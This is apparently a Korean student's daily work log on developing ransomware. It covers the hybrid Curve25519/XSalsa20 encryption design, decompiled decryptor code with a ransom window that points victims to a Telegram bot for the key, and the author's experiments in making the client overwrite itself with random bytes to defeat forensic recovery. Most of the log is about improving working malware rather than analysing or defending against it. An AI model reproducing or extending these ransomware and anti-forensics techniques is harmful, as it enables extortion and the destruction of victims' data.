오늘 할일
1. 고급 웹 프로그래밍 과제 제출
2. 교수님께 성적 문의메일 보내기 오후 2시 방문
3. Project-X 과제 벼락치기
4. 랜섬웨어 우회 보고서 작성
오늘 한일
1. 고급 웹 프로그래밍 과제 제출
-NPS(Net Promoter Score): 순 고객 추천지수로 사용자 만족도와 비슷한 개념. -100~+100까지의 숫자로 나타내며 친구나 지인에게 추천하고 싶은 정도에 대한 하나의 문항으로 고객 인식을 측정
-DAU/MAU(Daily Active User/Monthly Active User의 비율): 명확한 Active판단 기준을 바탕으로 매일 사용하는 사용자가 얼마나 많은지에 대한 상대적인 척도. 지속적인 참여를 알 수 있다.
랜섬웨어 협조 진행
5-1. Pay1oad 암호학 전공하는 분과의 질의
Q1. 암호화를 어떻게 하는지. 기존의 파일을 복사하고 제거한 뒤, 복사된 파일을 암호화해서 확장자를 변경 후 다시 파일로 만드는지? 아니면 다른 사유를 쓰는지?
A1. 기존의 파일을 python내부에서 file형식으로 열어 암호화를 진행시킨 후, 암호화가 완료된 바이너리 파일을 (.LoL)확장자로 쓰고, 기존의 파일을 삭제합니다. 그렇게 한 이유는 암호화 작업 도중 프로그램이 비정상 종료되어 암호화가 진행되다 멈추었을 경우, 기존의 파일을 보존하기 위함입니다.
Q2. EC25519와 Stream cipher를 사용한 이유는 무엇인지. 각자의 장단점을 의식했다면, 어떤 장단점을 생각해서 선택했는지
A2. 많은 양의 파일을 암호화 하기 위해서는 속도가 중요합니다. 고로 암호화 과정에서는 복잡한 연산이 사용되는 공개키 암호화 방식보다 빠른 대칭키 암호화를 사용합니다. 다만, 대칭키 방식은 키값을 공유하는 과정에서 쉽게 유출될 수 있다는 단점이 존재합니다. 키 값 전달 과정에서의 취약점을 해소하기 위해 키 값을 공개키 암호화 방식으로 이중 암호화하여 전달합니다. 내부 알고리즘 구현으로 EC25519와 XSalsa20을 사용한 이유는 공개키 방식과 대칭키 방식 알고리즘 중 가장 강력하다고 판단했기 때문입니다. 가장 강력한 알고리즘이라고 판단할 때 사용하는 척도로는 렌섬웨어다 보니 암호화가 정상적으로 완료가 된 상태에서 비정상적인 복호화를 통해 원문을 얻어낼 수 있는지를 고려하였습니다.
Q3. flowchart에서 어떤 키를 가지고 파일화를 진행한건지
A3. 1번 내용과 같이 대칭키로 암호화를 진행, 공개키로 대칭키의 암호화를 진행합니다.
질의 이후 피드백으로 EC25519와 XSalsa20의 단점에 대해 알아오라는 과제를 받았다.
Curve25519의 단점
일반적인 타원곡선암호화 방식에서 64bytes의 키를 사용하는 반면에 32bytes의 키를 사용하여 상대적으로 짧다. (Daniel J.Bernste, "Curve25519: new Diffie-Hellman speed records", PKC 2006, doi: 10.1007/11745853_14.)
XSalsa20의 단점
동일한 key와 nonce가 두번이상 사용될 경우 취약하다. 일반적으로 스트림 암호는 두 개의 값으로 key와 nonce를 입력받고 (nonce공개가능) 스트림암호알고리즘을 통해 key와 nonce로 key stream을 생성 후 평문과 xor하여 암호화를 진행한다. key와 nonce값을 따로따로 재사용하는 것은 괜찮지만 동시에 재사용 하는 경우 보안에 취약하다. (Donald Stuff, (2013), Secret Key Encryption, PyNaCl, https://pynacl.readthedocs.io/en/latest/secret/)
선택 평문 공격(CPA_Chosen Plaintext Attack)에 취약하다. 선택 평문 공격은 평문에 대응하는 암호문을 이용하는 공격으로 다음의 정보(암호 알고리즘, 해독할 암호문, 해독자가 선택한 평문, 해독자가 선택한 암호문)가 필요하다. 평문을 선택하면 대응하는 암호문을 얻을 수 있는 상황에서의 공격이다. ("선택평문공격", 해시넷, 2019.08.01, "http://wiki.hash.kr/index.php/%EC%84%A0%ED%83%9D%ED%8F%89%EB%AC%B8%EA%B3%B5%EA%B2%A9")
분석: Curve25519의 경우 상대적으로 짧은 것이지 32byte역시 추론하기 어렵다. 또한 추가적으로 XSalsa20을 적용하기 때문에 보다 복잡한 계산이 필요하다. XSalsa20의 단점의 경우 현재 랜섬웨어 작동 시 랜덤 키값을 1회 생성하여 암호화 진행한 뒤 그대로 종료되기 때문에 새로운 키값, 논스값 자체를 생성하지 않는다. 또한 선택 평문 공격 역시 피해자 컴퓨터에서 인지한 시점은 이미 암호화 프로그램이 종료되고 삭제된 이후이기 때문에 불가능하다.
5-2. CCA(전국사이버보안연합) 고려대학교 CyKor동아리 소속 slyfizz님 분석 진행
분석환경: 암호화 이후의 시점으로 암호화된 .docs파일과 복호화 프로그램 .exe파일만으로 파일 복구가 가능한지
분석진행: Dycompyle++와 gpt를 사용하여 byte코드를 python코드로 변환 및 분석
다음은 .exe에서 추출하신 .pyc코드이다.
import telegram
import asyncio
from nacl.public import PrivateKey, PublicKey, Box
import nacl
import nacl.secret as nacl
from datetime import datetime
from time import sleep
import os
import sys
import ctypes
import tkinter
from tkinter import messagebox
from threading import Thread
import threading
import time
from multiprocessing import Process
from PIL import Image, ImageDraw, ImageFont
from tkinter import Label, Entry, Button
import base64
AES_BOX = 0
DecryptModule = 0
PRIVATE_KEY_AES = 0
MaxThread = 120
ThreadPool = []
IsAdmin = ctypes.windll.shell32.IsUserAnAdmin()
PathList = []
PathList_DEBUG = []
entry = 0
filePath = './Client_after_enc.py'
def setDecryptModule(privateKeyAES):
global DecryptModule
DecryptModule = nacl.secret.SecretBox(privateKeyAES)
class Decryptor:
def __init__(self, files):
self._files = files
def decryptFile(self):
for file in self._files:
if os.path.isfile(file) and os.path.splitext(file)[1] != '.LoL':
try:
if os.path.getsize(file) > 50000000:
if len(ThreadPool) < MaxThread: # MaxThread는 정의되어 있어야 함
th = Process(target=self.decEach, args=(file,))
ThreadPool.append(th)
th.start()
else:
self.decEach(file)
else:
self.decEach(file)
except Exception as e:
print('[DEBUG] Error on Decryptor.decryptFile(): ', e)
def decEach(self, file):
try:
path = file.strip('.LoL')
originName = os.path.basename(path)
with open(path, 'rb') as File:
data = File.read()
decryptedFile = DecryptModule.decrypt(data)
with open(originName, 'wb') as File:
File.write(decryptedFile)
os.remove(path)
except Exception as e:
print('[DEBUG] Error on Decryptor.decEach(): ', e)
def listUpTargetDir():
global PathList_DEBUG
PathList_DEBUG = [
'E:\\github\\-ransomware\\최지웅\\test']
def recursiveDecrypt(basepath):
files = []
dirs = []
for entry in os.listdir(basepath):
absolutePath = os.path.join(basepath, entry)
if os.path.isfile(absolutePath):
files.append(absolutePath)
elif os.path.isdir(absolutePath):
dirs.append(absolutePath)
with ThreadPoolExecutor() as executor:
executor.map(decryptFile, files)
for dir in dirs:
recursiveDecrypt(dir)
def decryptComputer():
try:
buf = entry.get()
AESKey = base64.b64decode(buf[:10])
setDecryptModule(AESKey)
print('Start Decryption... Do not turn off computer...')
start = time.time()
for drive in PathList_DEBUG:
recursiveDecrypt(drive)
with ThreadPoolExecutor() as executor:
th = executor.submit(join)
with ThreadPoolExecutor() as executor:
th = executor.submit(pop)
with ThreadPoolExecutor() as executor:
th = executor.submit(join)
end = time.time()
print('User computer is unlocked! Thank you for using our service:):):):):) Bye!')
time.sleep(10)
os.remove(filePath)
except Exception as e:
print('AESKey is not correct!', e)
raise e
def ransomewareWarning():
def callback():
pass # Implement your callback function logic
def btn_callback():
pass # Implement your button callback function logic
WINDOW = tkinter.Tk()
WINDOW.title('Ransomware Warning')
WINDOW.geometry('400x100')
WINDOW.resizable(False, False)
lab = Label(WINDOW, text='Input Key for Decryption: ')
lab.pack()
entry = Entry(WINDOW)
entry.pack()
lab2 = Label(WINDOW, text='If you turn off this window, You cannot get back your computer:)')
lab2.pack()
lab3 = Label(WINDOW, text='Send Message to @rans_key_bot by using telegram')
lab3.pack()
btn = Button(WINDOW, text='decrypt!', command=btn_callback)
btn.pack()
WINDOW.mainloop()
if __name__ == '__main__':
listUpTargetDir()
ransomewareWarning()
본래의 코드( https://github.com/choijiwoong/-ransomware/blob/main/%EC%B5%9C%EC%A7%80%EC%9B%85/Client_after_enc.py )와 비교했을 때, 병렬처리 작업에 대한 코드가 약간 다른 것을 제외한 실제 복호화 로직은 비슷하게 추출되었다.
병렬처리 작업에서의 차이점은 크게 두가지로 @classmethod로 선언한 decEach가 일반 클래스 함수로 추출되어 해당 부분을 처리해주는 별도의 함수가 아래와 같이 추가된 것으로 보인다.
with ThreadPoolExecutor() as executor:
th = executor.submit(join)
with ThreadPoolExecutor() as executor:
th = executor.submit(pop)
with ThreadPoolExecutor() as executor:
th = executor.submit(join)
분석결과: 포렌식적으로 컴퓨터에 접근하는 것 아니면 로직을 복구하는 정도가 최선이다. 추가적으로 무차별 대입 공격은 양자컴퓨터로도 불가능하고, nacl이라는 검증된 aes자체는 깰 수 없다.
기타: 분석 과정에서 주신 python코드에 멀티 스레드가 아닌 멀티 프로세스의 적용을 발견. 코드수정필요
5-3. 5-1과 5-2를 기반으로 코드 업데이트
1. 현재 Client.exe파일에서 암호화 완료 후 자동삭제가 권한부족으로 이루어지지 않는 상황 발생. 해당 부분을 해결하기 위해 삭제를 최대한 시도(os.system, os.remove로 실패)예정. with open으로 현재 파일을 열고 작동되는데 까지 랜덤 바이트를 넣어 일부라도 망가뜨리는 실험예정
os.system("del /f "+fileName)#관리자권한으로도 안됨. 자기 파일을 열어서 써버리면?
1-2. 아래의 코드로 write 시 바이트 코드가 아니라 인코딩된 문자열로 인식하여 에러가 발생하며 종료되었는데, wb로 읽은 test.py의 값이 close되며 덮어씌워져서 test.py의 용량이 0이 되며 내용이 빈 텍스트로 변하는 꼼수 발견. 즉, 파일 자체의 삭제가 권한부족으로 안되기 때문에 파일을 바이너리 쓰기 모드로 내용을 없애기까지 성공. 추가적으로 남아있는 코드에 접근할 수 없게 끔 실제 바이트 코드로 세팅하는 작업이 추가되면 좋을 듯 함.
import os, uuid, base64, codecs, sys
path='test.py'
def getFileSize(path):
return os.path.getsize(path)
def generate_random_slug_code(length):
return base64.urlsafe_b64encode(
codecs.encode(
uuid.uuid4().bytes, "base64").rstrip()
).decode()[:length]
print(getFileSize(path))
print(generate_random_slug_code(4))
with open(path, "wb") as File:
File.write( generate_random_slug_code( getFileSize(path) ) )
sys.exit()
1-3. 실제 파일 크기만큼의 랜덤한 바이트로 덮어버리기 성공
import os, random, sys
path='test.py'
def write_random_bytes(path, length):
with open(path, "wb") as File:
random_bytes=os.urandom(length)
File.write(random_bytes)
def getFileSize(path):
return os.path.getsize(path)
write_random_bytes(path, getFileSize(path))
sys.exit()
1-4. 실제 exe파일을 빌드해 실행해보았는데, 에러없이 정상실행되지만 바뀌지 않는 오류 발견.
sys.exitfunc = exit_handler 실패
atexit.register(delete_file) 실패
1-5. 성공. 현재까지의 문제는 실행중인 자기 자신을 삭제하려하기에 운영체제 단에서 막는것. 해결은 Client_after_enc에서 Client를 삭제하는 방식으로 진행한다.
global PRIVATE_KEY_RSA, PUBLIC_KEY_RSA, PRIVATE_KEY_AES, PUBLIC_SERVER_RSA, AES_BOX, BOT, CHAT_ID, EncryptModule
PRIVATE_KEY_RSA=0#고의로 버퍼오버플로우 남기는 것도 나쁘지 않을지도?
PUBLIC_KEY_RSA=0
PRIVATE_KEY_AES=0
PUBLIC_SERVER_RSA_KEY=0
AES_BOX=0
BOT=0
CHAT_ID=0
EncryptModule=0
task_thread = threading.Thread(target=fakeAlert)